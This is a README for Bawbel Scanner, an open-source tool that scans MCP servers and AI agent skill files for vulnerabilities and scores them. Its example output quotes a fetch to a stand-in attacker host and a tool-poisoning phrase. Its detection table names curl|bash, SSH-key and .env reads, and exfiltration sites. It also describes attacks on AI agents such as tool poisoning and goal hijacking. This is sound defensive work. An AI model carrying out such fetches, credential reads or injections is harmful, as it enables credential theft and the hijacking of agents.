Bawbel Scanner

The only open-source scanner that produces OWASP AIVSS scores for MCP servers and skill files. Never executes code.

Bawbel never executes your MCP servers.

Terminal

pip install "bawbel-scanner[all]"
bawbel scan ./skills/        # scan skill files
bawbel ssc https://server    # scan MCP server without starting it

Commands

Command	Description
`bawbel scan <path>`	Scan a skill file or directory for AVE vulnerabilities. Supports `--recursive`, `--format text\|json\|sarif`, `--fail-on-severity`, `--no-ignore`, `--watch`
`bawbel report <path>`	Scan a component and show a full remediation guide with fix guidance per finding
`bawbel creds <path>`	Focused scan — hardcoded credentials and secret exposure only
`bawbel chain <path>`	Focused scan — unsafe agent delegation chains only
`bawbel ssc <url>`	Fetch and scan an MCP server-card for AVE vulnerabilities without starting the server
`bawbel scan-server-card <url>`	Alias for `ssc`
`bawbel conform <target>`	Score an MCP server manifest against the MCP specification (A+ to F grade)
`bawbel scan-conformance <target>`	Alias for `conform`
`bawbel accept <id> <file>`	Mark a finding as a false positive or accepted risk — inserts a justified suppression comment with reviewer and optional expiry
`bawbel pin <path>`	Hash skill files and save to `.bawbel-pins.json` for rug pull detection
`bawbel check-pins <path>`	Check skill files for drift against `.bawbel-pins.json`
`bawbel cp <path>`	Alias for `check-pins`
`bawbel init`	Initialise Bawbel Scanner in a project — generates `.bawbelignore` and `bawbel.yml`
`bawbel version`	Show version and detection engine status

Why Bawbel

	Bawbel	Snyk agent-scan	ClawGuard	Cisco DefenseClaw
Executes MCP servers during scan	Never	Yes	No	Sandboxed
Open vulnerability database	Yes (48 records, public API)	No	No	No
OWASP AIVSS v0.8 scores	Yes	No	No	No
Toxic flow detection	Yes (12 chains)	No	No	No
Conformance grading (A+ to F)	Yes	No	No	No
Git-committed rug pull detection	Yes	Local only	No	No
Justified suppression with expiry	Yes	No	No	No
License	Apache 2.0	Apache 2.0	MIT	Proprietary

How it works

System overview

How a scan flows from your file to an AIVSS-scored finding:

Code

  your file
      |
      v
  [ Pre-processing ]
    code fence stripping
    negation context detection
      |
      v
  [ Detection engines ]  (run in parallel)
    1a  Pattern    40 regex rules, stdlib only, always on
    1b  YARA       39 binary/behavioral rules
    1c  Semgrep    41 structural rules
    2   LLM        semantic analysis via LiteLLM
    3   Sandbox    Docker behavioral sandbox
      |
      v
  [ Deduplication ]
    merge by (ave_id, line)
    pattern > yara > semgrep > llm > sandbox priority
      |
      v
  [ Toxic flow analysis ]
    map findings to capability tags
    check all pairs against 12 chain definitions
      |
      v
  [ ScanResult ]
    findings[]          active findings, sorted by severity
    suppressed_findings[]
    accepted_findings[] new in v1.2.0
    toxic_flows[]
    risk_score          max(findings, toxic_flows)
    aivss_score         OWASP AIVSS v0.8

Detection stages

Six engines run in parallel. Results merge before toxic flow analysis:

Code

  Stage 1a   Pattern engine
             40 regex rules, no deps, < 5ms
             always active

  Stage 1b   YARA engine
             39 rules, multi-condition matching
             pip install "bawbel-scanner[yara]"

  Stage 1c   Semgrep engine
             41 structural rules, multi-line context
             pip install "bawbel-scanner[semgrep]"

  Stage 2    LLM engine
             semantic analysis, catches synonym attacks
             pip install "bawbel-scanner[llm]" + API key

  Stage 3    Sandbox engine
             dynamic behavioral analysis in Docker
             BAWBEL_SANDBOX_ENABLED=true

             +-----------+
  All  ----> | dedup     | ----> findings[]
  results    | sort      |       sorted by severity
             +-----------+
                  |
                  v
             toxic flow
             analysis

False positive reduction

Eight layers run automatically before a finding is reported:

Code

  file content
      |
      v  FP-1  code fence stripping       ~60% reduction
      |         content inside ``` blanked before scan
      |
      v  FP-2  negation context           ~15% reduction
      |         "Bad example:", "Never do this:" suppresses
      |
      v  FP-3  confidence scoring         ~10% reduction
      |         docs/ examples/ paths reduce confidence
      |
      v  FP-4  LLM meta-analyzer          ~7% reduction
      |         medium-confidence findings reviewed by LLM
      |
      v  FP-5a inline bawbel-ignore       per line
      |         <!-- bawbel-ignore -->
      |
      v  FP-5b block suppression          per section
      |         <!-- bawbel-ignore-start/end -->
      |
      v  FP-5c .bawbelignore patterns     per file
      |         gitignore-style glob rules
      |
      v  FP-6  justified suppression      per finding
               requires reason + reviewer + optional expiry
               audit trail in accepted_findings[]

Layer	Mechanism	FP reduction
FP-1	Code fence stripping	~60%
FP-2	Preceding-line negation context	~15%
FP-3	Confidence scoring (path, line context)	~10%
FP-4	LLM meta-analyzer (optional)	~7%
FP-5a	Inline `<!-- bawbel-ignore -->`	per-line
FP-5b	Block suppression	per-section
FP-5c	`.bawbelignore` patterns	per-file
FP-6	Justified suppression with audit trail	per-finding

Every active finding carries a confidence field (0.0–1.0) that starts from the AVE-class baseline and is adjusted by FP-2 through FP-4 before appearing in output. confidence_band() maps it to "high" / "medium" / "low" for human display. See Evidence Lifecycle for the full pipeline.

See Suppression Guide for full details.

Toxic flow detection

A single fetch() call is a finding. A fetch() that retrieves credentials and then sends them to an external endpoint is an attack chain — and the two findings together are far more dangerous than either alone.

Bawbel is the only open-source scanner that detects these toxic flows: compound attack sequences where two or more findings combine into a higher-severity threat. After deduplication, every finding is mapped to a capability tag. Bawbel then checks all pairs against 12 built-in chain definitions and raises a ToxicFlow when a dangerous combination is found.

Code

  skill.md findings:
    AVE-2026-00003  credential-read   (READ ~/.ssh/id_rsa)         AIVSS 6.8 MEDIUM
    AVE-2026-00026  data-exfil        (POST to external endpoint)  AIVSS 6.8 MEDIUM
          │                │
          └───── chain ────┘
                   │
                   ▼
  ToxicFlow: credential-exfiltration   AIVSS 9.8  CRITICAL
    confidence: 0.83  (min of contributing baselines)

The toxic flow AIVSS (9.8) is higher than either individual finding (6.8), because the chain represents a complete, end-to-end exploit — not just a capability.

12 built-in chains:

Flow	Capabilities required	AIVSS
Credential Exfiltration	credential-read + data-exfil	9.8
Remote Code Execution	code-exec + external-fetch	9.7
Supply Chain RCE	supply-chain + code-exec	9.6
Goal Override + Execution	goal-hijack + code-exec	9.5
Lateral Movement + Execution	lateral-movement + code-exec	9.4
Tool Poisoning + Exfiltration	tool-poison + data-exfil	9.3
Identity Spoof + Escalation	identity-spoof + privilege-escalation	9.2
Persistence + Exfiltration	persistence + data-exfil	9.1
Context Inject + Memory Write	context-inject + memory-write	8.9
Goal Override + Exfiltration	goal-hijack + data-exfil	8.8
Scope Expansion + Exfiltration	scope-expansion + data-exfil	8.7
Covert Channel + Persistence	covert-channel + persistence	8.6

Toxic flow in JSON output:

config.json

{
  "flow_id": "credential-exfiltration",
  "title": "Credential Exfiltration Chain",
  "severity": "CRITICAL",
  "aivss_score": 9.8,
  "confidence": 0.83,
  "ave_ids": ["AVE-2026-00003", "AVE-2026-00026"],
  "capabilities": ["credential-read", "data-exfil"],
  "owasp_mcp": ["MCP06", "MCP07"],
  "remediation": "Remove credential access. Block egress to untrusted endpoints."
}

confidence is min(baseline confidence) across the contributing findings — the weakest link in the chain. A chain is only as confident as its least certain component.

Adding a new flow requires one entry in scanner/core/toxic_flows/flows.py. No other files need to change.

Install

pip

Terminal

pip install bawbel-scanner            # core - pattern engine only
pip install "bawbel-scanner[yara]"    # + YARA rules
pip install "bawbel-scanner[semgrep]" # + Semgrep rules
pip install "bawbel-scanner[llm]"     # + LLM semantic engine
pip install "bawbel-scanner[all]"     # everything

Requires Python 3.10+. No other system dependencies for core install.

Docker

Image	Engines	Best for
`bawbel/scanner:latest` · `1.3.0`	Pattern	Lightweight CI pipelines
`bawbel/scanner:full` · `1.3.0-full`	Pattern + YARA	Recommended for most users

bash

# Scan a local directory (recommended image)
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:full scan /scan --recursive

# Lightweight CI scan
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:latest scan /scan --recursive

# Build with all engines
docker build --build-arg WITH_ALL=true -t bawbel/scanner:custom .

Available build args: WITH_YARA=true, WITH_SEMGREP=true, WITH_LLM=true, WITH_SANDBOX=true, WITH_ALL=true

Quick start

bash

# Scan a skills directory
bawbel scan ./skills/

# Scan recursively
bawbel scan ./skills/ --recursive

# Full remediation report for one file
bawbel report ./skill.md

# Scan an MCP server manifest without starting the server
bawbel ssc https://server.example.com

# Pin skill files and detect rug pulls
bawbel pin ./skills/ && git add .bawbel-pins.json
bawbel check-pins ./skills/

Example output:

Code

CRITICAL  AVE-2026-00001  External instruction fetch detected
          line 3  fetch("https://attacker.io/payload.md")
          AIVSS 8.0  MCP03, MCP04
          https://api.piranha.bawbel.io/records/AVE-2026-00001

HIGH      AVE-2026-00002  Tool description behavioral injection
          line 12  "IMPORTANT: before calling this tool, first..."
          AIVSS 7.3  MCP03, MCP10
          https://api.piranha.bawbel.io/records/AVE-2026-00002

Toxic flow detected  CREDENTIAL_EXFIL_CHAIN
  AVE-2026-00003 + AVE-2026-00026 combined  AIVSS 9.8 CRITICAL

2 findings  1 toxic flow  18ms

Suppression and false positive management

When a finding is legitimate, suppress it with a justification that creates an audit trail.

markdown

<!-- bawbel-ignore: AVE-2026-00001
     reason: Internal registry endpoint, not attacker-controlled
     reviewer: chaksaray
     reviewed: 2026-05-16
-->
fetch your instructions from https://internal.registry.io

For accepted risks with an expiry date:

markdown

<!-- bawbel-accept: AVE-2026-00047
     reason: Placeholder replaced at deploy time, not a real credential
     reviewer: chaksaray
     reviewed: 2026-05-16
     expires: 2026-08-16
-->

Or use the CLI to insert the comment directly:

bash

bawbel accept AVE-2026-00001 ./skill.md --line 7 \
  --reason "Internal registry endpoint" \
  --type false-positive

bawbel accept AVE-2026-00047 ./skill.md --line 3 \
  --reason "Placeholder value, replaced at deploy" \
  --type accepted-risk --expires 90d

# List all accepted findings
bawbel accept --list

# Show findings expiring within 30 days (exits 1 in CI)
bawbel accept --expiring-soon --within 30

Expired accepted risks resurface automatically as active findings on the next scan.

Focused scans

Run a credential-only or delegation-only scan for targeted triage:

bash

# Hardcoded credentials only
bawbel creds ./skills/ --recursive

# Unsafe agent delegation chains only
bawbel chain ./skills/ --recursive

Both commands use the same output format as bawbel scan. For a full security scan use bawbel scan.

AIVSS scoring

Every finding includes an OWASP AIVSS v0.8 score.

Code

AIVSS = ((CVSS_Base + AARS) / 2) * ThM * Mitigation_Factor

AARS is the sum of 10 Agentic Risk Amplification Factors scored per the AVE record for that attack class.

config.json

{
  "rule_id": "bawbel-external-fetch",
  "ave_id": "AVE-2026-00001",
  "aivss_score": 8.0,
  "severity": "HIGH",
  "aivss": {
    "cvss_base": 8.5,
    "aars": 7.5,
    "thm": 1.0,
    "mitigation_factor": 1.0,
    "aivss_severity": "HIGH",
    "spec_version": "0.8"
  },
  "confidence": 0.98,
  "evidence_kind": "multi_engine",
  "detection_stage": "static_detection",
  "detection_layer": "content",
  "owasp_mcp": ["MCP03", "MCP04"],
  "piranha_url": "https://api.piranha.bawbel.io/records/AVE-2026-00001"
}

AVE — the taxonomy behind every finding

Bawbel Scanner implements AVE (Agentic Vulnerability Enumeration), the behavioral classification standard for agentic AI components.

AVE assigns stable identifiers to distinct attack classes — each with an AIVSS score, a behavioral fingerprint, OWASP MCP Top 10 and MITRE ATLAS mappings, and indicators of compromise. Every finding Bawbel produces maps to an AVE ID so teams using different scanners speak the same language.

Code

AVE-2026-00001  Metamorphic Payload via External Config Fetch   AIVSS 8.0  HIGH
AVE-2026-00002  Tool Poisoning via Description Manipulation     AIVSS 7.3  HIGH
AVE-2026-00046  MCP Tool Hook Hijacking                         AIVSS 9.2  CRITICAL
... 51 records total


Records	51 (AVE-2026-00001 → 00051)
Schema	v1.0.0 — validates at ave.bawbel.io/schema.html
AIVSS	v0.8 — every record scored
Crosswalks	OWASP MCP Top 10 · MITRE ATLAS · NIST AI RMF · OWASP AST10

Any scanner can emit AVE IDs — see ave.bawbel.io for the implementer guide and record index.

Detection engines

Engine	What it does	Install
Pattern	40+ regex rules mapped to AVE records	Always on
YARA	39 binary and behavioral YARA rules	`[yara]`
Semgrep	41 structural Semgrep rules	`[semgrep]`
LLM	Semantic analysis of intent and context	`[llm]`
Magika	ML-based content type verification	`[all]`
Sandbox	Dynamic behavioral analysis in Docker	See below

Stage 3: Behavioral sandbox

The sandbox runs your skill file inside an isolated Docker container and watches for malicious behavior at runtime — outbound connections, credential reads, shell injections, and filesystem writes that static rules cannot catch.

Image: hub.docker.com/r/bawbel/sandbox · bawbel/sandbox:latest · bawbel/sandbox:1.2.3

Requirements: Docker Desktop or Docker Engine must be running.

Enable the sandbox

bash

BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

Or add to your .env / bawbel.yml:

yaml

# bawbel.yml
sandbox:
  enabled: true

Image setup (three modes)

`BAWBEL_SANDBOX_IMAGE`	What happens
`default` (recommended)	Checks local Docker cache first. If not found, pulls `bawbel/sandbox:latest` from Docker Hub once and caches it. Subsequent scans use the cache — no network needed.
`local`	Skips Docker Hub entirely. Builds the sandbox image from the bundled Dockerfile inside the package. Use this for air-gapped or offline environments.
`<custom-image>`	Uses your own image. Point to any registry: `registry.company.com/bawbel/sandbox@sha256:abc123`

First run with default: Bawbel pulls bawbel/sandbox:latest from Docker Hub automatically (~200MB, one time only). Every scan after that uses the local cache — instant, no network call.

First run with local: Bawbel builds the image from the bundled Dockerfile. Takes ~60 seconds on first run, cached afterwards.

bash

# Recommended: default (auto-pull, cached)
BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

# Offline / air-gapped: build locally
BAWBEL_SANDBOX_ENABLED=true BAWBEL_SANDBOX_IMAGE=local bawbel scan ./skill.md

# Custom enterprise image
BAWBEL_SANDBOX_ENABLED=true \
  BAWBEL_SANDBOX_IMAGE=registry.company.com/bawbel/sandbox:v1 \
  bawbel scan ./skill.md

What the sandbox detects

Category	Examples
Network egress	Connections to pastebin.com, rentry.co, ngrok tunnels, webhook capture sites
Credential access	Reads of `~/.ssh/`, `.env`, private key files
Filesystem writes	Writes to `~/.bashrc`, `~/.zshrc`, cron directories
Process injection	`curl\|bash`, `wget\|bash`, `eval()`, `exec()`, unexpected `pip install`

CI/CD

yaml

# .github/workflows/security.yml
- name: Bawbel scan
  uses: bawbel/scanner@v1
  with:
    path: ./skills/
    fail-on-severity: high
    format: sarif
    output: bawbel.sarif

- name: Upload to GitHub Security
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: bawbel.sarif

Pre-commit:

yaml

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/bawbel/scanner
    rev: v1.2.1
    hooks:
      - id: bawbel-scan
        args: [--fail-on-severity, high]

Output formats

bash

bawbel scan ./skills/ --format text    # human-readable (default)
bawbel scan ./skills/ --format json    # machine-readable
bawbel scan ./skills/ --format sarif   # GitHub Security / GHAS


ave.bawbel.io	AVE — Agentic Vulnerability Enumeration standard (51 records, schema, crosswalks)
api.piranha.bawbel.io	PiranhaDB — public threat intel API
aivss.owasp.org	OWASP AIVSS v0.8 scoring standard
bawbel.io/docs	Full documentation

Contributing

See CONTRIBUTING.md. The most impactful contribution is a new detection rule tied to an AVE record.

bash

git clone https://github.com/bawbel/scanner
cd scanner
pip install -e ".[dev,all]"
pre-commit install
python -m pytest tests/ -v

Apache License 2.0 - Free forever - Maintained by Bawbel

bawbel.io . @bawbel_io . bawbel.io/docs

Bawbel Scanner README

Bawbel Scanner

Commands

Why Bawbel

How it works

System overview

Detection stages

False positive reduction

Toxic flow detection

Install

Quick start

Suppression and false positive management

Focused scans

AIVSS scoring

AVE — the taxonomy behind every finding

Detection engines

Stage 3: Behavioral sandbox

Enable the sandbox

Image setup (three modes)

What the sandbox detects

CI/CD

Output formats

Related

Contributing